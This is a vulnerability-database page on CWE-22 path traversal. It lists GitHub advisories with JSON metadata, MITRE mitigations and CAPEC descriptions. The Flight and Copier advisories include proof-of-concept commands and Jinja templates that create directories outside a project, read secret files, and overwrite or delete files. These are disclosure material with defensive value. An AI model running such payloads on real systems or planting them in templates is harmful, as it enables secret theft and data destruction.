CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13515 vulnerabilities reference this CWE, most recent first.
GHSA-3XJJ-VFRX-CH8R
Vulnerability from github – Published: 2026-01-23 00:31 – Updated: 2026-01-23 00:31Improper limitation of a pathname to a restricted directory ('path traversal') in Azure Logic Apps allows an unauthorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2026-21227"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-22T23:15:57Z",
"severity": "HIGH"
},
"details": "Improper limitation of a pathname to a restricted directory (\u0027path traversal\u0027) in Azure Logic Apps allows an unauthorized attacker to elevate privileges over a network.",
"id": "GHSA-3xjj-vfrx-ch8r",
"modified": "2026-01-23T00:31:17Z",
"published": "2026-01-23T00:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21227"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21227"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3XJV-PMF2-GF2Q
Vulnerability from github – Published: 2026-05-06 21:34 – Updated: 2026-05-14 20:39Summary
The make:controller CLI command calls mkdir(..., recursive: true) on a path built from the user-supplied controller name, before Nette's class-name validation runs. The class-file write is correctly rejected by Nette when the name contains /, but the recursive directory creation side effect is already committed — including directories located outside the project root through ../ traversal.
Affected code
flight/commands/ControllerCommand.php (≈ 63-66):
if (is_dir(dirname($controllerPath)) === false) {
$io->info('Creating directory ' . dirname($controllerPath), true);
mkdir(dirname($controllerPath), 0755, true); // un-normalized, runs before validation
}
Proof of concept
$ php vendor/flightphp/runway/runway make:controller '../../../../tmp/CONTROLLER_TRAVERSAL_TEST/pwn'
Creating directory .../app/controllers/../../../../tmp/CONTROLLER_TRAVERSAL_TEST
Nette\InvalidArgumentException: Value '../../../../tmp/CONTROLLER_TRAVERSAL_TEST/pwnController' is not valid class name.
$ ls /home/user/tmp/CONTROLLER_TRAVERSAL_TEST
(directory exists — created before the exception was thrown)
Impact
- Arbitrary directory creation outside the project root, executable by any local actor that can run the Flight CLI (developer machine, shared CI build agent, compromised dev container).
- Primes log-file planting for chained LFI exploitation (e.g. creating a directory where an attacker can later drop a
.phpfile to be included via a distinct template-include weakness). - On Windows, the
\separator opens additional traversal surface.
Patch (fixed in 3.18.1, commit b8dd23a)
The controller name is now normalized with basename() and validated against ^[A-Za-z_][A-Za-z0-9_]*$ before any mkdir side effect runs.
Credit
Discovered by @Rootingg.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "flightphp/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.18.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42549"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T21:34:39Z",
"nvd_published_at": "2026-05-13T20:16:21Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe `make:controller` CLI command calls `mkdir(..., recursive: true)` on a path built from the user-supplied controller name, **before** Nette\u0027s class-name validation runs. The class-file write is correctly rejected by Nette when the name contains `/`, but the recursive directory creation side effect is already committed \u2014 including directories located outside the project root through `../` traversal.\n\n### Affected code\n`flight/commands/ControllerCommand.php` (\u2248 63-66):\n\n```php\nif (is_dir(dirname($controllerPath)) === false) {\n $io-\u003einfo(\u0027Creating directory \u0027 . dirname($controllerPath), true);\n mkdir(dirname($controllerPath), 0755, true); // un-normalized, runs before validation\n}\n```\n\n### Proof of concept\n```\n$ php vendor/flightphp/runway/runway make:controller \u0027../../../../tmp/CONTROLLER_TRAVERSAL_TEST/pwn\u0027\nCreating directory .../app/controllers/../../../../tmp/CONTROLLER_TRAVERSAL_TEST\nNette\\InvalidArgumentException: Value \u0027../../../../tmp/CONTROLLER_TRAVERSAL_TEST/pwnController\u0027 is not valid class name.\n\n$ ls /home/user/tmp/CONTROLLER_TRAVERSAL_TEST\n(directory exists \u2014 created before the exception was thrown)\n```\n\n### Impact\n- **Arbitrary directory creation outside the project root**, executable by any local actor that can run the Flight CLI (developer machine, shared CI build agent, compromised dev container).\n- Primes log-file planting for chained LFI exploitation (e.g. creating a directory where an attacker can later drop a `.php` file to be included via a distinct template-include weakness).\n- On Windows, the `\\` separator opens additional traversal surface.\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\nThe controller name is now normalized with `basename()` and validated against `^[A-Za-z_][A-Za-z0-9_]*$` before any `mkdir` side effect runs.\n\n### Credit\nDiscovered by **@Rootingg**.",
"id": "GHSA-3xjv-pmf2-gf2q",
"modified": "2026-05-14T20:39:56Z",
"published": "2026-05-06T21:34:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flightphp/core/security/advisories/GHSA-3xjv-pmf2-gf2q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42549"
},
{
"type": "PACKAGE",
"url": "https://github.com/flightphp/core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Flight has path traversal in `make:controller` CLI that creates arbitrary directories outside project root"
}
GHSA-3XPJ-F7P8-8C96
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45Path Traversal vulnerability in Samsung Notes prior to version 4.2.00.22 allows attackers to access local files without permission.
{
"affected": [],
"aliases": [
"CVE-2021-25367"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-25T17:15:00Z",
"severity": "MODERATE"
},
"details": "Path Traversal vulnerability in Samsung Notes prior to version 4.2.00.22 allows attackers to access local files without permission.",
"id": "GHSA-3xpj-f7p8-8c96",
"modified": "2022-05-24T17:45:24Z",
"published": "2022-05-24T17:45:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25367"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/serviceWeb.smsb"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3XQ5-X4FJ-RFF7
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 16:13In eosphoros-ai/db-gpt version v0.6.0, the web API POST /v1/personal/agent/upload is vulnerable to Arbitrary File Upload with Path Traversal. This vulnerability allows unauthorized attackers to upload arbitrary files to the victim's file system at any location. The impact of this vulnerability includes the potential for remote code execution (RCE) by writing malicious files, such as a malicious __init__.py in the Python's /site-packages/ directory.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dbgpt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-10902"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-21T16:13:54Z",
"nvd_published_at": "2025-03-20T10:15:21Z",
"severity": "CRITICAL"
},
"details": "In eosphoros-ai/db-gpt version v0.6.0, the web API `POST /v1/personal/agent/upload` is vulnerable to Arbitrary File Upload with Path Traversal. This vulnerability allows unauthorized attackers to upload arbitrary files to the victim\u0027s file system at any location. The impact of this vulnerability includes the potential for remote code execution (RCE) by writing malicious files, such as a malicious `__init__.py` in the Python\u0027s `/site-packages/` directory.",
"id": "GHSA-3xq5-x4fj-rff7",
"modified": "2025-03-21T16:13:54Z",
"published": "2025-03-20T12:32:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10902"
},
{
"type": "PACKAGE",
"url": "https://github.com/eosphoros-ai/DB-GPT"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/f7fbf76e-aa1c-4106-b007-e9579f4f7d5f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "DB-GPT vulnerable to Arbitrary File Upload with Path Traversal"
}
GHSA-3XQ9-PPRQ-HM99
Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41A vulnerability has been identified in SINEC NMS (All versions < V1.0 SP1 Update 1), SINEMA Server (All versions < V14.0 SP2 Update 2). When uploading files to an affected system using a zip container, the system does not correctly check if the relative file path of the extracted files is still within the intended target directory. With this an attacker could create or overwrite arbitrary files on an affected system. This type of vulnerability is also known as 'Zip-Slip'. (ZDI-CAN-12054)
{
"affected": [],
"aliases": [
"CVE-2020-25237"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-09T17:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SINEC NMS (All versions \u003c V1.0 SP1 Update 1), SINEMA Server (All versions \u003c V14.0 SP2 Update 2). When uploading files to an affected system using a zip container, the system does not correctly check if the relative file path of the extracted files is still within the intended target directory. With this an attacker could create or overwrite arbitrary files on an affected system. This type of vulnerability is also known as \u0027Zip-Slip\u0027. (ZDI-CAN-12054)",
"id": "GHSA-3xq9-pprq-hm99",
"modified": "2022-05-24T17:41:27Z",
"published": "2022-05-24T17:41:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25237"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-156833.pdf"
},
{
"type": "WEB",
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-040-03"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-253"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3XQX-3W36-QFG8
Vulnerability from github – Published: 2022-10-13 12:00 – Updated: 2022-10-14 19:00SonicWall GMS is vulnerable to file path manipulation resulting that an unauthenticated attacker can gain access to web directory containing application's binaries and configuration files.
{
"affected": [],
"aliases": [
"CVE-2021-20030"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-13T11:15:00Z",
"severity": "HIGH"
},
"details": "SonicWall GMS is vulnerable to file path manipulation resulting that an unauthenticated attacker can gain access to web directory containing application\u0027s binaries and configuration files.",
"id": "GHSA-3xqx-3w36-qfg8",
"modified": "2022-10-14T19:00:39Z",
"published": "2022-10-13T12:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20030"
},
{
"type": "WEB",
"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0021"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3XR3-VRM2-6JC7
Vulnerability from github – Published: 2024-07-03 21:39 – Updated: 2024-11-08 00:30An issue was discovered in Artifex Ghostscript before 10.03.1. There is path traversal (via a crafted PostScript document) to arbitrary files if the current directory is in the permitted paths. For example, there can be a transformation of ../../foo to ./../../foo and this will grant access if ./ is permitted.
{
"affected": [],
"aliases": [
"CVE-2024-33870"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-03T19:15:03Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Artifex Ghostscript before 10.03.1. There is path traversal (via a crafted PostScript document) to arbitrary files if the current directory is in the permitted paths. For example, there can be a transformation of ../../foo to ./../../foo and this will grant access if ./ is permitted.",
"id": "GHSA-3xr3-vrm2-6jc7",
"modified": "2024-11-08T00:30:45Z",
"published": "2024-07-03T21:39:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33870"
},
{
"type": "WEB",
"url": "https://bugs.ghostscript.com/show_bug.cgi?id=707686"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2024/06/28/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3XVR-5RGG-F99F
Vulnerability from github – Published: 2022-05-02 04:00 – Updated: 2022-05-02 04:00Directory traversal vulnerability in index.php in In-Portal 4.3.1, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the env parameter.
{
"affected": [],
"aliases": [
"CVE-2009-4986"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-08-25T20:00:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in index.php in In-Portal 4.3.1, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the env parameter.",
"id": "GHSA-3xvr-5rgg-f99f",
"modified": "2022-05-02T04:00:21Z",
"published": "2022-05-02T04:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4986"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/36165"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/9358"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/2164"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3XW7-V6CJ-5Q8H
Vulnerability from github – Published: 2025-08-18 21:00 – Updated: 2025-08-18 21:00Impact
Copier's current security model shall restrict filesystem access through Jinja:
- Files can only be read using
{% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case. - Files are written in the destination directory according to their counterparts in the template.
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.
Arbitrary read access
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
-
Read known file:
shell echo "s3cr3t" > secret.txt mkdir src/ echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja uvx copier copy src/ dst/ cat dst/stolen-secret.txt -
Read unknown file(s) via globbing:
shell mkdir secrets/ echo "s3cr3t #1" > secrets/secret1.txt echo "s3cr3t #2" > secrets/secret2.txt mkdir src/ cat <<'EOF' > src/stolen-secrets.txt.jinja stolen secrets: {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %} {% for f in parent.glob('*.txt') %} {{ f }}: {{ f.read_text('utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat dst/stolen-secrets.txt
Arbitrary write access
Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.
Reproducible examples:
-
Overwrite known file:
shell echo "s3cr3t" > secret.txt mkdir src/ echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja uvx copier copy src/ dst/ cat secret.txt -
Overwrite unknown file(s) via globbing:
shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.write_text('OVERWRITTEN', 'utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt -
Delete unknown file(s) via globbing:
shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.unlink() }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt -
Delete unknown files and directories via tree walking:
shell mkdir data mkdir data/a mkdir data/a/b echo "foo" > data/foo.txt echo "bar" > data/a/bar.txt echo "baz" > data/a/b/baz.txt tree data/ mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %} {% for root, dirs, files in parent.walk(top_down=False) %} {% for name in files %} {{ (root / name).unlink() }} {% endfor %} {% for name in dirs %} {{ (root / name).rmdir() }} {% endfor %} {% endfor %} EOF uvx copier copy src/ dst/ tree data/
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "copier"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55201"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-18T21:00:23Z",
"nvd_published_at": "2025-08-18T17:15:29Z",
"severity": "HIGH"
},
"details": "### Impact\n\nCopier\u0027s current security model shall restrict filesystem access through Jinja:\n\n- Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case.\n- Files are written in the destination directory according to their counterparts in the template.\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.\n\n#### Arbitrary read access\n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps \"masks\" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Read known file:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n echo \"stolen secret: {{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().read_text(\u0027utf-8\u0027) }}\" \u003e src/stolen-secret.txt.jinja\n uvx copier copy src/ dst/\n cat dst/stolen-secret.txt\n ```\n\n- Read unknown file(s) via globbing:\n\n ```shell\n mkdir secrets/\n echo \"s3cr3t #1\" \u003e secrets/secret1.txt\n echo \"s3cr3t #2\" \u003e secrets/secret2.txt\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/stolen-secrets.txt.jinja\n stolen secrets:\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027secrets\u0027).resolve() %}\n {% for f in parent.glob(\u0027*.txt\u0027) %}\n {{ f }}: {{ f.read_text(\u0027utf-8\u0027) }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat dst/stolen-secrets.txt\n ```\n\n#### Arbitrary write access\n\nImagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.\n\nReproducible examples:\n\n- Overwrite known file:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n echo \"{{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\" \u003e src/malicious.txt.jinja\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Overwrite unknown file(s) via globbing:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n {{ f.write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Delete unknown file(s) via globbing:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n {{ f.unlink() }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Delete unknown files and directories via tree walking:\n\n ```shell\n mkdir data\n mkdir data/a\n mkdir data/a/b\n echo \"foo\" \u003e data/foo.txt\n echo \"bar\" \u003e data/a/bar.txt\n echo \"baz\" \u003e data/a/b/baz.txt\n tree data/\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027data\u0027).resolve() %}\n {% for root, dirs, files in parent.walk(top_down=False) %}\n {% for name in files %}\n {{ (root / name).unlink() }}\n {% endfor %}\n {% for name in dirs %}\n {{ (root / name).rmdir() }}\n {% endfor %}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n tree data/\n ```",
"id": "GHSA-3xw7-v6cj-5q8h",
"modified": "2025-08-18T21:00:23Z",
"published": "2025-08-18T21:00:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/security/advisories/GHSA-3xw7-v6cj-5q8h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55201"
},
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/commit/3feea3b3ff3c20d80cbb16a2f3b9567ffc5606d1"
},
{
"type": "PACKAGE",
"url": "https://github.com/copier-org/copier"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Copier\u0027s safe template has arbitrary filesystem read/write access"
}
GHSA-3XWR-XCMC-7VQ6
Vulnerability from github – Published: 2023-08-03 18:30 – Updated: 2024-04-04 06:31A path traversal vulnerability exists in Suprema BioStar 2 before 2.9.1, which allows unauthenticated attackers to fetch arbitrary files from the server's web server.
{
"affected": [],
"aliases": [
"CVE-2023-33365"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-03T16:15:11Z",
"severity": "HIGH"
},
"details": "A path traversal vulnerability exists in Suprema BioStar 2 before 2.9.1, which allows unauthenticated attackers to fetch arbitrary files from the server\u0027s web server.",
"id": "GHSA-3xwr-xcmc-7vq6",
"modified": "2024-04-04T06:31:57Z",
"published": "2023-08-03T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33365"
},
{
"type": "WEB",
"url": "https://claroty.com/team82/disclosure-dashboard/cve-2023-33365"
},
{
"type": "WEB",
"url": "https://kb.supremainc.com/knowledge/doku.php?id=en:release_note_291"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
